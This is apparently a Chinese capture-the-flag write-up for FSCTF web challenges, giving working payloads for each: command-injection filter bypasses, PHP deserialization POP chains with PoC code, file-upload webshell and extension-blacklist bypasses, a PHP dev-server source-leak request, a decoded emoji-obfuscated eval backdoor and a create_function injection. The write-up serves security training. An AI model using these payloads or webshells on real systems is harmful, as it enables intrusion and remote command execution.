练习平台:NSSCTF | 在线CTF平台
目录
源码!启动!
题目描述
原…!诶不对,源啥呀这是
右键被禁用,试试F12
也被禁用了,再试试ctrl+u
成功找到flag
webshell是啥捏
题目描述
签个到再走呗
根据题目可知,php中变量与变量之间用点号连接表示拼接;拼接结果为passthru函数
我们使用GET传参,构造payload
?👽=cat /f*
细狗2.0
题目描述
行就是行,不行就是不行。RCE全不做是几个意思啊QAQ
先输入ls看一下
看来不太行,前面加上;试一下
发现有两个php,我们尝试用cat命令查看一下 ,尝试后构造出最终的payload
?hongzh0=%3Bca''t${IFS}/f*
总结一下, 本题过滤内容:
空格和cat、flag
EZ_eval
源码如下:
正常的get传参,最终构造出的payload
?word=<script%0Alanguage='php'>system('strings%09/fl*')</script>
总结:
问号过滤——<script>
空格过滤——%0a、%09、${IFS}等等
读取文件内容——strings/paste
php执行linux命令:<?php system('ls');?>
Hello,you
题目描述
这道题目是一道非常简单的RCE,因为我看到了隔壁师傅出的那道RCE,所以这只是一个RCE,一道非常简单的RCE,这个RCE呢,不是难的RCE,但也不是太简单的RCE,因为这个RCE需要一些技巧和耐心才能解决。
首先尝试输入cat f*,显示非法操作
猜测cat可能被过滤了,ca''t f*试一下,有回显了
然后我们用;隔断一下,输入;ca''t f*(也可以使用tail、strings、paste、more等),得到flag
ez_php1
题目描述
do you know point?
源码如下:
考察知识:典型的md5绕过,这里我们使用数组绕过
最终构造payload
?a[]=1&b[]=2
提示让我们输入FL_AG的值,通过源码可知这里需要使用POST传参
得到提示:!!!Congratulation!!L0vey0U.php,直接访问/L0vey0U.php
得到一个假的flag:flag{This_is_fake_flag},这是一个简单的反序列化,直接构造poc链子
<?php
$str="YES I love";
echo serialize($str);
?>
运行得到:
s:10:"YES I love";
构造payload,get传参
?str=s:10:"YES I love";
得到新的提示:P0int.php,访问/P0int.php
又是一个反序列化,构造poc链如下
<?php
class Clazz
{
public $a;
public $b;
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
$c=new Clazz();
$c->a=&$c->b;
echo serialize($c);
?>
通过新的变量$c利用&把a函数引用给b函数 (&符号只能应用于变量,而不能应用于表达式。)
php是一种流行的编程语言,它支持传递参数的两种方式:值传递和引用传递。值传递是将一个变量的值复制给另一个变量,而引用传递是将一个变量的内存地址给另一个变量。
构造payload,post传参
data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
得到一串base加密字符:PD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=
base64解码后得到flag
巴巴托斯!
题目描述
愿你困于无风之地,我将奏响高天之歌。
题目线索:I love FSCTF Browser,先用burp抓包看一下
改为User-Agent: FSCTF Browser
得到新的提示,需要本地访问
添加Referer:127.0.0.1
没有什么有用的回显信息,我们用伪协议读取:
php://filter/read=convert.base64-encode/resource=flag.php
得到PD9waHANCiRmbGFnPSJOU1NDVEZ7YTU3NjA5N2EtZTM0OS00YTZjLWI1OTQtMTI4NDQwNTI1ZWJifSI7DQo/Pg==
base64解密后得到flag
寻找蛛丝马迹
题目描述
睁大眼睛,保护视力
先查看一下源码(F12或者ctrl+u),得到flag第一段
继续找,在css文件里发现flag第二段
再找,在js文件里发现flag第三段
继续翻找,没啥发现了,决定目录扫描一下(dirsearch)
扫出robots.txt和www.zip ,先访问下robots.txt
出现一堆乱码,这时我们可以用火狐自带的修复文字编码来处理,得到flag第四段
看到苹果,可以想到.DS_store,得到flag第五段
下载www.zip ,得到flag第六段
是兄弟,就来传你の🐎!
题目描述
你真的懂文件上传吗?
首先上传一个常规的php一句话木马,返回不允许(意料之中)!
经过多次尝试,得到最终的payload
访问上传路径,得到flag
总结:
图片文件头:bmp文件 BM ;gif文件 GIF
php文件后缀黑名单绕过:pht, phpt, phtml, php3,php4,php5,php6
超短webshell ,读取根目录下的所有文件
<?=`nl /*`; 、<?=`cat /*`;、<?=`tac /*`;等等(注意这里是反引号)
ez_php2
题目描述
简单的pop链
题目源码如下:
<?php
highlight_file(__file__);
Class Rd{
public $ending;
public $cl;
public $poc;
public function __destruct()
{
echo "All matters have concluded";
die($this->ending);
}
public function __call($name, $arg)
{
foreach ($arg as $key =>$value)
{
if($arg[0]['POC']=="1111")
{
echo "1";
$this->cl->var1 = "system";
}
}
}
}
class Poc{
public $payload;
public $fun;
public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}
function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?";
file_get_contents($paylaod);
}
}
class Er{
public $symbol;
public $Flag;
public function __construct()
{
$this->symbol = True;
}
public function __set($name, $value)
{
$value($this->Flag);
}
}
class Ha{
public $start;
public $start1;
public $start2;
public function __construct()
{
echo $this->start1."__construct"."</br>";
}
public function __destruct()
{
if($this->start2==="11111") {
$this->start1->Love($this->start);
echo "You are Good!";
}
}
}
if(isset($_GET['Ha_rde_r']))
{
unserialize($_GET['Ha_rde_r']);
} else{
die("You are Silly goose!");
}
?> You are Silly goose!
又到了熟悉的代码审计环节,构造出pop链如下:
Ha __destruct()
-> Rd __call()-> Er __set()
完整的poc:
<?php
Class Rd{
public $ending;
public $cl;
public $poc;
}
class Er{
public $symbol;
public $Flag;
}
class Ha{
public $start;
public $start1;
public $start2 = "11111";
}
$Ha_start_dic = array(
"POC" => "1111"
);
$Ha_start = array($Ha_start_dic);
$Ha_start1 = new Rd();
$Ha_start1_cl = new Er();
$Ha_start1_cl->Flag = "cat /flag";
$ha = new Ha();
$ha->start = $Ha_start_dic;
$ha->start1 = $Ha_start1;
$Ha_start1->cl = $Ha_start1_cl;
echo urlencode(serialize($ha));
?>
运行后得到:
O%3A2%3A%22Ha%22%3A3%3A%7Bs%3A5%3A%22start%22%3Ba%3A1%3A%7Bs%3A3%3A%22POC%22%3Bs%3A4%3A%221111%22%3B%7Ds%3A6%3A%22start1%22%3BO%3A2%3A%22Rd%22%3A3%3A%7Bs%3A6%3A%22ending%22%3BN%3Bs%3A2%3A%22cl%22%3BO%3A2%3A%22Er%22%3A2%3A%7Bs%3A6%3A%22symbol%22%3BN%3Bs%3A4%3A%22Flag%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A3%3A%22poc%22%3BN%3B%7Ds%3A6%3A%22start2%22%3Bs%3A5%3A%2211111%22%3B%7D
构造url ,得到flag
?Ha_rde_r=O%3A2%3A"Ha"%3A3%3A{s%3A5%3A"start"%3Ba%3A1%3A{s%3A3%3A"POC"%3Bs%3A4%3A"1111"%3B}s%3A6%3A"start1"%3BO%3A2%3A"Rd"%3A3%3A{s%3A6%3A"ending"%3BN%3Bs%3A2%3A"cl"%3BO%3A2%3A"Er"%3A2%3A{s%3A6%3A"symbol"%3BN%3Bs%3A4%3A"Flag"%3Bs%3A9%3A"cat+%2Fflag"%3B}s%3A3%3A"poc"%3BN%3B}s%3A6%3A"start2"%3Bs%3A5%3A"11111"%3B}
签到plus
题目描述
harder在洗脚的时候服务器被黑客接管了,让你帮忙排查,你可以抢回来吗?
目录扫描一下,发现shell.php
访问/shell.php,在环境里面发现了一个假的flag
思考片刻,去搜了一下发现是“PHP<=7.4.21 Development Server源码泄露漏洞”
PHP<=7.4.21 Development Server源码泄露漏洞PHP<=7.4.21 Development Server源码泄露漏洞https://buaq.net/go-147962.htmlpoc如下(burp):
GET /shell.php HTTP/1.1
Host: node4.anna.nssctf.cn:28528
GET /1 HTTP/1.1
使用burp在重放器选项中关闭自动更新content-length,
将抓包内容导出来,得到
<?xml version="1.0"?>
<!DOCTYPE items [
<!ELEMENT items (item*)>
<!ATTLIST items burpVersion CDATA "">
<!ATTLIST items exportTime CDATA "">
<!ELEMENT item (time, url, host, port, protocol, method, path, extension, request, status, responselength, mimetype, response, comment)>
<!ELEMENT time (#PCDATA)>
<!ELEMENT url (#PCDATA)>
<!ELEMENT host (#PCDATA)>
<!ATTLIST host ip CDATA "">
<!ELEMENT port (#PCDATA)>
<!ELEMENT protocol (#PCDATA)>
<!ELEMENT method (#PCDATA)>
<!ELEMENT path (#PCDATA)>
<!ELEMENT extension (#PCDATA)>
<!ELEMENT request (#PCDATA)>
<!ATTLIST request base64 (true|false) "false">
<!ELEMENT status (#PCDATA)>
<!ELEMENT responselength (#PCDATA)>
<!ELEMENT mimetype (#PCDATA)>
<!ELEMENT response (#PCDATA)>
<!ATTLIST response base64 (true|false) "false">
<!ELEMENT comment (#PCDATA)>
]>
<items burpVersion="2021.9.1" exportTime="Fri Mar 22 17:39:18 CST 2024">
<item>
<time>Thu Jan 01 08:00:00 CST 1970</time>
<url><![CDATA[http://node4.anna.nssctf.cn:28358/shell.php]]></url>
<host ip="1.14.71.254">node4.anna.nssctf.cn</host>
<port>28358</port>
<protocol>http</protocol>
<method><![CDATA[GET]]></method>
<path><![CDATA[/shell.php]]></path>
<extension>php</extension>
<request base64="true"><![CDATA[R0VUIC9zaGVsbC5waHAgSFRUUC8xLjENCkhvc3Q6IG5vZGU0LmFubmEubnNzY3RmLmNuOjI4NTI4DQoNCg0KR0VUIC8xIEhUVFAvMS4xDQoNCg==]]></request>
<status>200</status>
<responselength>573</responselength>
<mimetype></mimetype>
<response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpIb3N0OiBub2RlNC5hbm5hLm5zc2N0Zi5jbjoyODUyOA0KRGF0ZTogRnJpLCAyMiBNYXIgMjAyNCAwOTozODozNCBHTVQNCkNvbm5lY3Rpb246IGNsb3NlDQpDb250ZW50LUxlbmd0aDogNDQzDQoNCjw/cGhwCnBocGluZm8oKTsKJPCfmIA9ImEiOwok8J+YgT0iYiI7CiTwn5iCPSJjIjsKJPCfpKM9ImQiOwok8J+Ygz0iZSI7CiTwn5iEPSJmIjsKJPCfmIU9ImciOwok8J+Yhj0iaCI7CiTwn5iJPSJpIjsKJPCfmIo9ImoiOwok8J+Yiz0iayI7CiTwn5iOPSJsIjsKJPCfmI09Im0iOwok8J+YmD0ibiI7CiTwn5iXPSJvIjsKJPCfmJk9InAiOwok8J+Ymj0icSI7CiTwn5mCPSJyIjsKJPCfpJc9InMiOwok8J+kqT0idCI7CiTwn6SUPSJ1IjsKJPCfpKg9InYiOwok8J+YkD0idyI7CiTwn5iRPSJ4IjsKJPCfmLY9InkiOwok8J+ZhD0ieiI7Cgok8J+YrSA9ICTwn5iZLiAk8J+YgC4gJPCfpJcuICTwn6SXLiAk8J+kqS4gJPCfmIYuICTwn5mCLiAk8J+klDsKCmlmIChpc3NldCgkX0dFVFsn8J+RvfCfppAnXSkpIHsKICAgIGV2YWwoJPCfmK0oJF9HRVRbJ/Cfkb3wn6aQJ10pKTsKfTsKCj8+]]></response>
<comment></comment>
</item>
</items>
对response密文解密得到
HTTP/1.1 200 OK
Host: node4.anna.nssctf.cn:28528
Date: Fri, 22 Mar 2024 09:38:34 GMT
Connection: close
Content-Length: 443
<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";
$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;
if (isset($_GET['👽🦐'])) {
eval($😭($_GET['👽🦐']));
};
?>
构造payload(get传参)
?👽🦐=cat /f*
FSCTF{ThIs_1s_wh@t_you_w@n7}
CanCanNeed
题目描述
php虽然是世界上最好的语言,但是也提供了不少不安全函数~
源码如下:
审计代码发现我们需要使用create_function,system命令没被过滤,我们使用其执行命令。
poc如下:
<?php
class Noteasy
{
protected $param1 = "create_function";
protected $param2 = "};system(\$_POST[666]);//";
function __destruct()
{
$a = $this->param1;
$b = $this->param2;
if (preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b);
}
}
}
$c = new Noteasy();
echo(base64_encode(serialize($c)));
构造payload,接下来POST传参 ,得到flag
加速加速
考点:条件竞争
我没做过,可以参考:[FSCTF 2023]加速加速已解决-CSDN博客